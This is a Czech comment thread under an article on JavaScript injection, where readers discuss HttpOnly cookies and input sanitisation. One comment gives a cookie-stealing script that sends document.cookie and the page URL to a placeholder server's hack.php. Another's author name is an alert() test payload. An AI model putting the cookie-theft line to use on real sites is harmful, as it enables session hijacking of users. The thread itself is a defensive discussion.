Komentáře k příspěvku: Javascript Injection

Od: .

October 16, 2010, 12:40 am

... a nebo prostě cookie v javascriptu zakázat. document.cookie prostě nebude ani existovat. http://php.net/manual/en/function.setcookie.php

View Article

I když vypnete cookies, stále je tu problém, že se musí někde ukládat nějaký identifikátor relace. Aplikace to typicky řeší tak, že se začne sessionID předávat v URL, ke kterému má JS stejně snadný...

View Article

Od: .

October 25, 2010, 12:36 am

Evidentně jsi nepochopil, co tím prvním příspěvkem bylo myšleno. Cookies budou zapnuté, jen nebudou přístupné přes JS. Přečti si to ještě jednou.

View Article

Od: Martin Kruliš

November 21, 2010, 10:07 am

Aha. Teď už jsem vaši připomínku pochopil. Ano, to je také pěkný způsob prevence, pokud máte k dispozici PHP verze 5.2.0 a novější. Bohužel to ale nemusí podporovat všechny prohlížeče (httponly příznak...

View Article

Od: alert('Ahoj');//Pokud vidíte tento text, něco se nepovedlo.

November 30, 2010, 7:44 am

Bezpečnost webových aplikací je velmi důležitá. Ve článku si ukážeme několik útoku typu Javascript Injection a vysvětlíme, jak se jim bránit.

View Article

Od: Marek

March 3, 2011, 7:00 am

var url = "http://mujserver/hack.php?cookies=" + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(location.href); location.replace(url);

View Article

Od: Martin Tauchman

December 6, 2011, 4:19 pm

Dobrý den. Měl bych jednu otázku ohledně bezpečnosti. Hledám to všude možně na netu a zatím bez úspěchu. Problém je tenhle: Dozvěděl jsem se, že JS funkce či ostatně všechny metody se dají spouštět...

View Article

Od: Jan Mikoláš

December 7, 2011, 7:22 am

Dobrý den p. Martin Tauchman, zabýval jsem se v minulosti bezpečnosti webových aplikací. Nevím o tom, že pokud jsou vstupy správně ošetřeny a dbáte taktéž na HTML, že by se dal vůbec vykonávat nějaký...

View Article